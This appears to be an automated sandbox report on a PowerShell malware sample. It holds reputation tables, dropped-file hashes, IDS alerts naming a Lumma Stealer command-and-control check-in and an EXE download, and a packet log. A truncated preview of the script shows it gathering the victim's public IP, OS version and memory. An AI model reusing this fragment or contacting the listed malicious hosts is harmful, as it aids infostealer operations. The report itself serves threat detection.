- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
| Time | Type | Description |
|---|---|---|
| 02:29:01 | API Interceptor |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 104.18.10.207 | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| 185.211.7.193 | Get hash | malicious | Unknown | Browse | ||
| 91.206.178.120 | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| 104.26.13.205 | Get hash | malicious | Targeted Ransomware | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | TrojanRansom | Browse |
| ||
| Get hash | malicious | TrojanRansom | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | LummaC, PrivateLoader, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | LummaC, PrivateLoader, Stealc, Vidar | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| goutteuy.com | Get hash | malicious | Unknown | Browse |
| |
| api.ipify.org | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | AgentTesla, GuLoader | Browse |
| ||
| Get hash | malicious | AgentTesla | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| maxcdn.bootstrapcdn.com | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| CLOUDFLARENETUS | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DBatLoader, Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| QUICKPACKETUS | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Mirai | Browse |
| ||
| Get hash | malicious | ScreenConnect Tool | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Discord Token Stealer | Browse |
| ||
| CLOUDFLARENETUS | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DBatLoader, Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| ARTNET2PL | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DCRat, PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Stealc | Browse |
| ||
| Get hash | malicious | Stealc | Browse |
| ||
| Get hash | malicious | Stealc | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 3b5074b1b5d032e5620f69f9f700ff0e | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DBatLoader, Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
| Get hash | malicious | Amadey, RedLine, Stealc | Browse |
| ||
| Get hash | malicious | Amadey, LummaC Stealer, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | Amadey, Healer AV Disabler, LummaC Stealer, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | GhostRat | Browse |
| ||
| Get hash | malicious | AgentTesla, GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
|
⊘No context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bootstrap.min[1].css
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 121200 |
| Entropy (8bit): | 5.0982146191887106 |
| Encrypted: | false |
| SSDEEP: | 768:Vy3Gxw/Vc/QWlJxtQOIuiHlq5mzI4X8OAduFKbv2ctg2Bd8JP7ecQVvH1FS:nw/a1fIuiHlq5mN8lDbNmPbh |
| MD5: | EC3BB52A00E176A7181D454DFFAEA219 |
| SHA1: | 6527D8BF3E1E9368BAB8C7B60F56BC01FA3AFD68 |
| SHA-256: | F75E846CC83BD11432F4B1E21A45F31BC85283D11D372F7B19ACCD1BF6A2635C |
| SHA-512: | E8C5DAF01EAE68ED7C1E277A6E544C7AD108A0FA877FB531D6D9F2210769B7DA88E4E002C7B0BE3B72154EBF7CBF01A795C8342CE2DAD368BD6351E956195F8B |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 52916 |
| Entropy (8bit): | 5.51283890397623 |
| Encrypted: | false |
| SSDEEP: | 768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL |
| MD5: | 575B5480531DA4D14E7453E2016FE0BC |
| SHA1: | E5C5F3134FE29E60B591C87EA85951F0AEA36EE1 |
| SHA-256: | DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD |
| SHA-512: | 174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 247 |
| Entropy (8bit): | 5.428842177231087 |
| Encrypted: | false |
| SSDEEP: | 6:0IFFm15+56ZRWHMVgjWizlpdUD4uFl8vpAtCIif0RHC:jFMO6ZRoMYW6pSZE6tCrf0Ri |
| MD5: | F5DBA43B69C83A48868FECAD364B5B34 |
| SHA1: | 2A536D153CBBEA8037BE9B3DA5F2A51B6DCFB382 |
| SHA-256: | 4E05BF034F35EE0FD5263203A049263645F575B4846F721F667BEC6505362063 |
| SHA-512: | F767C167FB7D60405558BFB15FB529DDC00C2E2169F8A938D5B7DC18DF4A4D51E4A4CCBD5EECC61732E592393676C288949F6048B526E78149280F226853DFAF |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2704 |
| Entropy (8bit): | 5.419927904741295 |
| Encrypted: | false |
| SSDEEP: | 48:AKYNSU4xympx4RfoUP7mZ9tK8NTXGiR80xnq7kkyUbaImx10ln0zJ6JAwqgt:AvkHxv/IwBZ2KTXGibdkyGaImM0d6JnZ |
| MD5: | 830C9F7B963F69E7F20BB7ED1862A4B1 |
| SHA1: | 0471EE42E94AB40558AF342B903D2CC08FE1E8EE |
| SHA-256: | 78FBDF70062F5163FBD56D49ED15FC2394DB6A646255DF1DD2038A56298D00BE |
| SHA-512: | F66519D1DDA0F2B4DDA4A7A02231C6ECDC800095A6FDFD44C4C85B76ACF5CFB30248BC49C26957D44026F7B55D13AA6522759349E31E5F36A5E83D859C2B0455 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LTZ2YZJSYFZC13RQEOM5.temp
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 6221 |
| Entropy (8bit): | 3.7355207156773638 |
| Encrypted: | false |
| SSDEEP: | 96:gNmyl133CxH5ekvhkvCCtuwQl6hLAHoBQl6hLAHoe:UR1yZKuwE6hL9BE6hL9e |
| MD5: | 00706A35609BDB15AEA10311C06D333F |
| SHA1: | 5492A6CDB297C15BA4E14F556116D567F8E70133 |
| SHA-256: | C32845148A3129E246F55A9D90DCC8CB35DC6C775A2DF37A424A75007CE447B6 |
| SHA-512: | 50407C918A6B132A03705C2EDA11F758346B3C07B5F607C4E09037B6175F69B7433BA9C78B0904D82712523833770F4ED7DDC87F8B9B97405C556888A221C3FC |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 6221 |
| Entropy (8bit): | 3.7355207156773638 |
| Encrypted: | false |
| SSDEEP: | 96:gNmyl133CxH5ekvhkvCCtuwQl6hLAHoBQl6hLAHoe:UR1yZKuwE6hL9BE6hL9e |
| MD5: | 00706A35609BDB15AEA10311C06D333F |
| SHA1: | 5492A6CDB297C15BA4E14F556116D567F8E70133 |
| SHA-256: | C32845148A3129E246F55A9D90DCC8CB35DC6C775A2DF37A424A75007CE447B6 |
| SHA-512: | 50407C918A6B132A03705C2EDA11F758346B3C07B5F607C4E09037B6175F69B7433BA9C78B0904D82712523833770F4ED7DDC87F8B9B97405C556888A221C3FC |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 5.390306751239133 |
| TrID: | |
| File name: | XkgoE6Yb52.ps1 |
| File size: | 706 bytes |
| MD5: | ec5ea6c135974c85204bd38525329e5b |
| SHA1: | 131f8dfd360bf7fffbbff91f264f0664c72b724c |
| SHA256: | 042d6a65c72d16cd9c89ee8cf62b3477edb045ec16c83e22038d1b05a55fa635 |
| SHA512: | d04af0ceacd0a65ceb0a2c666e52442bba2d05e2960ca08a35b8eb4cac55470e587a2d07cad5cee071e53a748c67bdbf68f15fa4795fa1874176405b87cf2880 |
| SSDEEP: | 12:WVBuiG3wEQ2aHWj25ioWAR+wpbZ6l/6gLhYdGHAyG35+tmvy5hu1M4AGs6Y:BP3wEqHu25xxUlpLhNHAf3i5htORY |
| TLSH: | DB01C031B33C428583D5C860B4B9B712D0576B40A55EECFC76FC2001C7832E23DA0918 |
| File Content Preview: | $randomNumber=Get-Random -Minimum 10000 -Maximum 99999; $ipAddress=(Invoke-WebRequest -Uri 'http://api.ipify.org').Content; $osVersion=[System.Environment]::OSVersion.VersionString; $memory=[math]::round((Get-CimInstance -ClassName Win32_ComputerSystem).T |
 | |
| Icon Hash: | 3270d6baae77db44 |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:03.230549+0100 | 1810000 | Joe Security ANOMALY Windows PowerShell HTTP activity | 2 | 192.168.2.4 | 49731 | 104.26.13.205 | 80 | TCP |
| 2025-02-18T08:29:05.575867+0100 | 2860232 | ETPRO MALWARE Observed Lumma Stealer CnC Checkin (GET) | 1 | 192.168.2.4 | 49732 | 91.206.178.120 | 5001 | TCP |
| 2025-02-18T08:29:05.575867+0100 | 1810000 | Joe Security ANOMALY Windows PowerShell HTTP activity | 2 | 192.168.2.4 | 49732 | 91.206.178.120 | 5001 | TCP |
| 2025-02-18T08:29:05.588539+0100 | 2860233 | ETPRO MALWARE Observed Lumma Stealer CnC Response (Script Start Confirmation) | 1 | 91.206.178.120 | 5001 | 192.168.2.4 | 49732 | TCP |
| 2025-02-18T08:29:06.738323+0100 | 1810000 | Joe Security ANOMALY Windows PowerShell HTTP activity | 2 | 192.168.2.4 | 49733 | 185.211.7.193 | 443 | TCP |
| 2025-02-18T08:29:06.738323+0100 | 2021697 | ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious | 1 | 192.168.2.4 | 49733 | 185.211.7.193 | 443 | TCP |
| 2025-02-18T08:29:08.328516+0100 | 1810000 | Joe Security ANOMALY Windows PowerShell HTTP activity | 2 | 192.168.2.4 | 49737 | 91.206.178.120 | 5001 | TCP |
| 2025-02-18T08:29:08.328516+0100 | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 2 | 192.168.2.4 | 49737 | 91.206.178.120 | 5001 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Feb 18, 2025 08:29:02.706986904 CET | 49731 | 80 | 192.168.2.4 | 104.26.13.205 |
| Feb 18, 2025 08:29:02.712068081 CET | 80 | 49731 | 104.26.13.205 | 192.168.2.4 |
| Feb 18, 2025 08:29:02.712131977 CET | 49731 | 80 | 192.168.2.4 | 104.26.13.205 |
| Feb 18, 2025 08:29:02.713057995 CET | 49731 | 80 | 192.168.2.4 | 104.26.13.205 |
| Feb 18, 2025 08:29:02.718343973 CET | 80 | 49731 | 104.26.13.205 | 192.168.2.4 |
| Feb 18, 2025 08:29:03.178155899 CET | 80 | 49731 | 104.26.13.205 | 192.168.2.4 |
| Feb 18, 2025 08:29:03.230549097 CET | 49731 | 80 | 192.168.2.4 | 104.26.13.205 |
| Feb 18, 2025 08:29:04.337913036 CET | 49732 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:04.342819929 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:04.342904091 CET | 49732 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:04.343100071 CET | 49732 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:04.347887993 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.565612078 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.575752974 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.575790882 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.575866938 CET | 49732 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:05.582719088 CET | 49732 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:05.588538885 CET | 5001 | 49732 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.635808945 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:05.635875940 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.636018991 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:05.650166035 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:05.650207996 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.354219913 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.354335070 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.358551025 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.358567953 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.358896017 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.402477026 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.530739069 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.575340986 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.738331079 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.738367081 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.738420963 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.738439083 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.738519907 CET | 443 | 49733 | 185.211.7.193 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.738568068 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.762535095 CET | 49733 | 443 | 192.168.2.4 | 185.211.7.193 |
| Feb 18, 2025 08:29:06.972670078 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:06.972734928 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.972794056 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:06.973558903 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:06.973573923 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.438771009 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.438838959 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.444770098 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.444788933 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.445169926 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.445216894 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.453003883 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.499335051 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577337980 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577409029 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577424049 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577461958 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577467918 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577500105 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577548027 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577591896 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577656031 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577699900 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577748060 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577790976 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.577924967 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.577966928 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.578012943 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.578058004 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.578142881 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.578185081 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.581641912 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.581700087 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.581763983 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.581814051 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.581852913 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.581891060 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.581921101 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.581978083 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.658957958 CET | 49737 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:07.663826942 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.663891077 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.663916111 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.663952112 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.663989067 CET | 49737 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:07.664005041 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664130926 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664241076 CET | 49737 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:07.664266109 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664303064 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664355993 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664366007 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664406061 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664411068 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664447069 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664450884 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664482117 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664499998 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664505005 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664560080 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664562941 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664572954 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664661884 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664668083 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.664768934 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.664978981 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665034056 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665055037 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
